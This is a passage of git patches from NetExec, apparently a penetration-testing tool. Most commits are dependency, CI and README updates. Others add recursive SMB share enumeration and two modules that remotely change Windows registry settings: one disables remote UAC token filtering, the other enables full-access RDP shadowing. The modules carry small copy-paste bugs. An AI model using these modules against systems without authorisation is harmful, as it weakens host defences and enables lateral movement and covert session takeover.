"sha256:dced8213d311c56f5f38044716ebff5412cc156f19678659e8ffa9bb6a642bd7"}, - {file = "sspilib-0.1.0-cp311-cp311-win32.whl", hash = "sha256:d30d38d52dbd857732224e86ae3627d003cc510451083c69fa481fc7de88a7b6"}, - {file = "sspilib-0.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:61c9067168cce962f7fead42c28804c3a39a164b9a7b660200b8cfe31e3af071"}, - {file = "sspilib-0.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:b526b8e5a236553f5137b951b89a2f108f56138ad05f31fd0a51b10f80b6c3cc"}, - {file = "sspilib-0.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3ff356d40cd34c900f94f1591eaabd458284042af611ebc1dbf609002066dba5"}, - {file = "sspilib-0.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2b0fee3a52d0acef090f6c9b49953a8400fdc1c10aca7334319414a3038aa493"}, - {file = "sspilib-0.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab52d190dad1d578ec40d1fb417a8571954f4e32f35442a14cb709f57d3acbc9"}, - {file = "sspilib-0.1.0-cp312-cp312-win32.whl", hash = "sha256:b3cf819094383ec883e9a63c11b81d622618c815c18a6c9d761d9a14d9f028d1"}, - {file = "sspilib-0.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:b83825a2c43ff84ddff72d09b098057efaabf3841d3c42888078e154cf8e9595"}, - {file = "sspilib-0.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:9aa6ab4c3fc1057251cf1f3f199daf90b99599cdfafc9eade8fdf0c01526dec8"}, - {file = "sspilib-0.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:82bff5df178386027d0112458b6971bbd18c76eb9e7be53fd61dab33d7bf8417"}, - {file = "sspilib-0.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:18393a9e6e0447cb7f319d361b65e9a0eaa5484705f16787133ffc49ad364c28"}, - {file = "sspilib-0.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88a423fbca206ba0ca811dc995d8c3af045402b7d330f033e938b24f3a1d93fc"}, - {file = "sspilib-0.1.0-cp38-cp38-win32.whl", hash = "sha256:86bd936b1ef0aa63c6d9623ad08473e74ceb15f342f6e92cbade15ed9574cd33"}, - {file = "sspilib-0.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:d4f688b94f0a64128444063e1d3d59152614175999222f6e2920681faea833f4"}, - {file = "sspilib-0.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2acef24e13e40d9dd8697eaae84ead9f417528ff741d087ec4eb4260518f4dc7"}, - {file = "sspilib-0.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b625802d80144d856d5eb6e8f4412f186565758da4493c7ad1b88e3d6d353de"}, - {file = "sspilib-0.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06ca1e34702bca1c750dcb5133b716f316b38dccb28d55a1a44d9842bc3f391"}, - {file = "sspilib-0.1.0-cp39-cp39-win32.whl", hash = "sha256:68496c9bd52b57a1b6d2e5529b43c30060249b8db901127b8343c4ad8cd93670"}, - {file = "sspilib-0.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:369727097f07a440099882580e284e137d9c27b7de354d63b65e327a454e7bee"}, - {file = "sspilib-0.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:87d8268c0517149c51a53b3888961ebf66826bb3dbb82c4e5cf10108f5456104"}, - {file = "sspilib-0.1.0.tar.gz", hash = "sha256:58b5291553cf6220549c0f855e0e6973f4977375d8236ce47bb581efb3e9b1cf"}, + {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, + {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, + {file = "sspilib-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e82f87d77a9da62ce1eac22f752511a99495840177714c772a9d27b75220f78"}, + {file = "sspilib-0.2.0-cp310-cp310-win32.whl", hash = "sha256:e436fa09bcf353a364a74b3ef6910d936fa8cd1493f136e517a9a7e11b319c57"}, + {file = "sspilib-0.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:850a17c98d2b8579b183ce37a8df97d050bc5b31ab13f5a6d9e39c9692fe3754"}, + {file = "sspilib-0.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:a4d788a53b8db6d1caafba36887d5ac2087e6b6be6f01eb48f8afea6b646dbb5"}, + {file = "sspilib-0.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e0943204c8ba732966fdc5b69e33cf61d8dc6b24e6ed875f32055d9d7e2f76cd"}, + {file = "sspilib-0.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d1cdfc5ec2f151f26e21aa50ccc7f9848c969d6f78264ae4f38347609f6722df"}, + {file = "sspilib-0.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a6c33495a3de1552120c4a99219ebdd70e3849717867b8cae3a6a2f98fef405"}, + {file = "sspilib-0.2.0-cp311-cp311-win32.whl", hash = "sha256:400d5922c2c2261009921157c4b43d868e84640ad86e4dc84c95b07e5cc38ac6"}, + {file = "sspilib-0.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3e7d19c16ba9189ef8687b591503db06cfb9c5eb32ab1ca3bb9ebc1a8a5f35c"}, + {file = "sspilib-0.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:f65c52ead8ce95eb78a79306fe4269ee572ef3e4dcc108d250d5933da2455ecc"}, + {file = "sspilib-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:abac93a90335590b49ef1fc162b538576249c7f58aec0c7bcfb4b860513979b4"}, + {file = "sspilib-0.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1208720d8e431af674c5645cec365224d035f241444d5faa15dc74023ece1277"}, + {file = "sspilib-0.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48dceb871ecf9cf83abdd0e6db5326e885e574f1897f6ae87d736ff558f4bfa"}, + {file = "sspilib-0.2.0-cp312-cp312-win32.whl", hash = "sha256:bdf9a4f424add02951e1f01f47441d2e69a9910471e99c2c88660bd8e184d7f8"}, + {file = "sspilib-0.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:40a97ca83e503a175d1dc9461836994e47e8b9bcf56cab81a2c22e27f1993079"}, + {file = "sspilib-0.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:8ffc09819a37005c66a580ff44f544775f9745d5ed1ceeb37df4e5ff128adf36"}, + {file = "sspilib-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:40ff410b64198cf1d704718754fc5fe7b9609e0c49bf85c970f64c6fc2786db4"}, + {file = "sspilib-0.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02d8e0b6033de8ccf509ba44fdcda7e196cdedc0f8cf19eb22c5e4117187c82f"}, + {file = "sspilib-0.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad7943fe14f8f6d72623ab6401991aa39a2b597bdb25e531741b37932402480f"}, + {file = "sspilib-0.2.0-cp313-cp313-win32.whl", hash = "sha256:b9044d6020aa88d512e7557694fe734a243801f9a6874e1c214451eebe493d92"}, + {file = "sspilib-0.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:c39a698491f43618efca8776a40fb7201d08c415c507f899f0df5ada15abefaa"}, + {file = "sspilib-0.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:863b7b214517b09367511c0ef931370f0386ed2c7c5613092bf9b106114c4a0e"}, + {file = "sspilib-0.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a0ede7afba32f2b681196c0b8520617d99dc5d0691d04884d59b476e31b41286"}, + {file = "sspilib-0.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bd95df50efb6586054963950c8fa91ef994fb73c5c022c6f85b16f702c5314da"}, + {file = "sspilib-0.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9460258d3dc3f71cc4dcfd6ac078e2fe26f272faea907384b7dd52cb91d9ddcc"}, + {file = "sspilib-0.2.0-cp38-cp38-win32.whl", hash = "sha256:6fa9d97671348b97567020d82fe36c4211a2cacf02abbccbd8995afbf3a40bfc"}, + {file = "sspilib-0.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:32422ad7406adece12d7c385019b34e3e35ff88a7c8f3d7c062da421772e7bfa"}, + {file = "sspilib-0.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6944a0d7fe64f88c9bde3498591acdb25b178902287919b962c398ed145f71b9"}, + {file = "sspilib-0.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0216344629b0f39c2193adb74d7e1bed67f1bbd619e426040674b7629407eba9"}, + {file = "sspilib-0.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c5f84b9f614447fc451620c5c44001ed48fead3084c7c9f2b9cefe1f4c5c3d0"}, + {file = "sspilib-0.2.0-cp39-cp39-win32.whl", hash = "sha256:b290eb90bf8b8136b0a61b189629442052e1a664bd78db82928ec1e81b681fb5"}, + {file = "sspilib-0.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:404c16e698476e500a7fe67be5457fadd52d8bdc9aeb6c554782c8f366cc4fc9"}, + {file = "sspilib-0.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:8697e5dd9229cd3367bca49fba74e02f867759d1d416a717e26c3088041b9814"}, + {file = "sspilib-0.2.0.tar.gz", hash = "sha256:4d6cd4290ca82f40705efeb5e9107f7abcd5e647cb201a3d04371305938615b8"}, ] [[package]] @@ -2202,13 +2285,13 @@ widechars = ["wcwidth"] [[package]] name = "termcolor" -version = "2.4.0" +version = "2.5.0" description = "ANSI color formatting for output in terminal" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"}, - {file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"}, + {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, + {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, ] [package.extras] @@ -2227,35 +2310,35 @@ files = [ [[package]] name = "tomli" -version = "2.0.1" +version = "2.0.2" description = "A lil' TOML parser" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, - {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, + {file = "tomli-2.0.2-py3-none-any.whl", hash = "sha256:2ebe24485c53d303f690b0ec092806a085f07af5a5aa1464f3931eec36caaa38"}, + {file = "tomli-2.0.2.tar.gz", hash = "sha256:d46d457a85337051c36524bc5349dd91b1877838e2979ac5ced3e710ed8a60ed"}, ] [[package]] name = "tomlkit" -version = "0.13.0" +version = "0.13.2" description = "Style preserving TOML library" optional = false python-versions = ">=3.8" files = [ - {file = "tomlkit-0.13.0-py3-none-any.whl", hash = "sha256:7075d3042d03b80f603482d69bf0c8f345c2b30e41699fd8883227f89972b264"}, - {file = "tomlkit-0.13.0.tar.gz", hash = "sha256:08ad192699734149f5b97b45f1f18dad7eb1b6d16bc72ad0c2335772650d7b72"}, + {file = "tomlkit-0.13.2-py3-none-any.whl", hash = "sha256:7a974427f6e119197f670fbbbeae7bef749a6c14e793db934baefc1b5f03efde"}, + {file = "tomlkit-0.13.2.tar.gz", hash = "sha256:fff5fe59a87295b278abd31bec92c15d9bc4a06885ab12bcea52c71119392e79"}, ] [[package]] name = "tqdm" -version = "4.66.4" +version = "4.66.5" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" files = [ - {file = "tqdm-4.66.4-py3-none-any.whl", hash = "sha256:b75ca56b413b030bc3f00af51fd2c1a1a5eac6a0c1cca83cbb37a5c52abce644"}, - {file = "tqdm-4.66.4.tar.gz", hash = "sha256:e4d936c9de8727928f3be6079590e97d9abfe8d39a590be678eb5919ffc186bb"}, + {file = "tqdm-4.66.5-py3-none-any.whl", hash = "sha256:90279a3770753eafc9194a0364852159802111925aa30eb3f9d85b0e805ac7cd"}, + {file = "tqdm-4.66.5.tar.gz", hash = "sha256:e1020aef2e5096702d8a025ac7d16b1577279c9d63f8375b63083e9a5f0fcbad"}, ] [package.dependencies] @@ -2293,13 +2376,13 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.2.2" +version = "2.2.3" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.8" files = [ - {file = "urllib3-2.2.2-py3-none-any.whl", hash = "sha256:a448b2f64d686155468037e1ace9f2d2199776e17f0a46610480d311f73e3472"}, - {file = "urllib3-2.2.2.tar.gz", hash = "sha256:dd505485549a7a552833da5e6063639d0d177c04f23bc3864e41e5dc5f612168"}, + {file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"}, + {file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"}, ] [package.extras] @@ -2321,13 +2404,13 @@ files = [ [[package]] name = "werkzeug" -version = "3.0.3" +version = "3.0.4" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" files = [ - {file = "werkzeug-3.0.3-py3-none-any.whl", hash = "sha256:fc9645dc43e03e4d630d23143a04a7f947a9a3b5727cd535fdfe155a17cc48c8"}, - {file = "werkzeug-3.0.3.tar.gz", hash = "sha256:097e5bfda9f0aba8da6b8545146def481d06aa7d3266e7448e2cccf67dd8bd18"}, + {file = "werkzeug-3.0.4-py3-none-any.whl", hash = "sha256:02c9eb92b7d6c06f31a782811505d2157837cea66aaede3e217c7c27c039476c"}, + {file = "werkzeug-3.0.4.tar.gz", hash = "sha256:34f2371506b250df4d4f84bfe7b0921e4762525762bbd936614909fe25cd7306"}, ] [package.dependencies] diff --git a/pyproject.toml b/pyproject.toml index 41c7df83..93f72049 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -74,7 +74,7 @@ pytest = "^7.2.2" ruff = "=0.0.292" [build-system] -requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] +requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" [tool.poetry-dynamic-versioning] From 6564038d519ce9ec4fe5b161368fd703095fbf49 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 16 Oct 2024 07:29:14 -0400 Subject: [PATCH 039/376] Moving the PR template hoping that it now get recognized by gh --- .../pull_request_template.md => PULL_REQUEST_TEMPLATE.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename .github/{PULL_REQUEST_TEMPLATE/pull_request_template.md => PULL_REQUEST_TEMPLATE.md} (100%) diff --git a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md b/.github/PULL_REQUEST_TEMPLATE.md similarity index 100% rename from .github/PULL_REQUEST_TEMPLATE/pull_request_template.md rename to .github/PULL_REQUEST_TEMPLATE.md From ed0b03917edc2f0c6cfb8ed1ecce505a418a5ea4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 16 Oct 2024 07:32:33 -0400 Subject: [PATCH 040/376] Update github workflows --- .github/workflows/build-binaries.yml | 6 +++--- .github/workflows/build-zipapps.yml | 6 +++--- .github/workflows/lint.yml | 2 +- .github/workflows/test.yml | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 8a21f79c..6b7dba98 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.11"] + python-version: ["3.12"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 @@ -25,13 +25,13 @@ jobs: pyinstaller netexec.spec - name: Upload Windows Binary if: runner.os == 'windows' - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc.exe path: dist/nxc.exe - name: Upload Nix/OSx Binary if: runner.os != 'windows' - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc-${{ matrix.os }} path: dist/nxc diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 1100cabf..9970f294 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.8", "3.9", "3.10", "3.11"] + python-version: ["3.10", "3.11", "3.12"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} @@ -22,12 +22,12 @@ jobs: pip install shiv python build_collector.py - name: Upload nxc ZipApp - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxc - name: Upload nxcdb ZipApp - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxcdb diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 0093889c..f92e53d2 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -19,7 +19,7 @@ jobs: - name: Set up Python uses: actions/setup-python@v5 with: - python-version: 3.11 + python-version: 3.12 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 26621360..131a7e8f 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,7 +14,7 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12"] steps: - uses: actions/checkout@v4 - name: Install poetry From 7e90ad2c0f47cd95b77d6216c9660ec8422e0767 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 16 Oct 2024 07:36:33 -0400 Subject: [PATCH 041/376] Revert 84854173587fd66307a949313ac9e14601c6a261 --- nxc/logger.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/logger.py b/nxc/logger.py index 2c49e511..2a30a025 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -93,6 +93,7 @@ class NXCAdapter(logging.LoggerAdapter): rich_tracebacks=True, tracebacks_show_locals=False )], + encoding="utf-8" ) self.logger = logging.getLogger("nxc") self.extra = extra From 46cd610fb0954e787347f3480801faf5fd1d5a7d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 16 Oct 2024 07:39:08 -0400 Subject: [PATCH 042/376] Update README to support py3.10+ --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5b27ddc6..5da261ca 100755 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg) +![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff) [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx) [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck) From c3f10eff87e1c01a57582a91c37d7ff9b4176aad Mon Sep 17 00:00:00 2001 From: y0no Date: Wed, 16 Oct 2024 18:02:13 +0200 Subject: [PATCH 043/376] Add --enum-shares options to SMB protocol --- nxc/protocols/smb.py | 61 ++++++++++++++++++++++++++++++++- nxc/protocols/smb/proto_args.py | 1 + 2 files changed, 61 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..076200cf 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -60,7 +60,7 @@ from dploot.triage.sccm import SCCMTriage from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup -from time import time +from time import time, ctime from datetime import datetime from functools import wraps from traceback import format_exc @@ -903,6 +903,65 @@ class smb(connection): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions + + def enum_shares(self): + try: + shares = self.conn.listShares() + self.logger.info(f"Shares returned: {shares}") + except SessionError as e: + error = get_error_string(e) + self.logger.fail( + f"Error enumerating shares: {error}", + color="magenta" if error in smb_error_status else "red", + ) + return + except Exception as e: + error = get_error_string(e) + self.logger.fail( + f"Error enumerating shares: {error}", + color="magenta" if error in smb_error_status else "red", + ) + return + + self.logger.display("Enumerating SMB Shares Directories") + for share in shares: + share_name = share["shi1_netname"][:-1] + depth = 1 + contents = self.conn.listPath(share_name, "*") + + self.logger.success(share_name) + + if contents and depth == 1: + self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") + self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") + self.list_share(share_name, "") + + + def list_share(self, share_name, path_dir, depth=1): + search_path = ntpath.join(path_dir, "*") + + try: + contents = self.conn.listPath(share_name, search_path) + except SessionError as e: + error = get_error_string(e) + self.logger.fail( + f"Error enumerating '{search_path}': {error}", + color="magenta" if error in smb_error_status else "red", + ) + return + + for content in contents: + path_name = content.get_longname() + full_path = ntpath.join(path_dir, path_name) + + if path_name in [".", ".."]: + continue + + if path_name != path_dir: + self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") + if content.is_directory() and depth < self.args.enum_shares and path_name not in [ ".", ".."]: + self.list_share(share_name, full_path, depth+1) + @requires_admin def interfaces(self): """ diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..77f09e51 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -34,6 +34,7 @@ def proto_args(parser, parents): mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access") + mapping_enum_group.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") From f6436fd9ba877f8fb223ea5efb5513c20fa7bd8b Mon Sep 17 00:00:00 2001 From: Deft_ Date: Thu, 17 Oct 2024 13:33:49 +0200 Subject: [PATCH 044/376] Create remoteuac.py Signed-off-by: Deft_ --- nxc/modules/remoteuac.py | 84 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 nxc/modules/remoteuac.py diff --git a/nxc/modules/remoteuac.py b/nxc/modules/remoteuac.py new file mode 100644 index 00000000..29518056 --- /dev/null +++ b/nxc/modules/remoteuac.py @@ -0,0 +1,84 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables UAC (prevent non RID500 account to get high priv token remotely) +# Disables UAC (allow non RID500 account to get high priv token remotely) +class NXCModule: + name = "remoteuac" + description = "Enable or disable remote UAC" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" + )['phkResult'] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00", + rrp.REG_DWORD, + 1 + ) + context.log.highlight("Remote UAC disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "LocalAccountTokenFilterPolicy\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Remote UAC enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() From 6dcc0cf2d3960071cd5c706575e4ee87dd5b169f Mon Sep 17 00:00:00 2001 From: Deft_ Date: Thu, 17 Oct 2024 13:47:32 +0200 Subject: [PATCH 045/376] Create shadowrdp.py Signed-off-by: Deft_ --- nxc/modules/shadowrdp.py | 83 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 nxc/modules/shadowrdp.py diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py new file mode 100644 index 00000000..040cb645 --- /dev/null +++ b/nxc/modules/shadowrdp.py @@ -0,0 +1,83 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables or disables shadow RDP +class NXCModule: + name = "shadowrdp" + description = "Enables or disables shadow RDP" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" + )['phkResult'] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Shadow RDP disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 2 + ) + context.log.highlight("Shadow RDP with full access enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() From 29de0ccf349eb256796d183bcdfc1ea4a15dec8d Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Fri, 18 Oct 2024 16:26:16 +0300 Subject: [PATCH 046/376] Used parse_result_attributes for parsing Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 104 ++++++++++++++++++++++-------------------- 1 file changed, 55 insertions(+), 49 deletions(-) diff --git 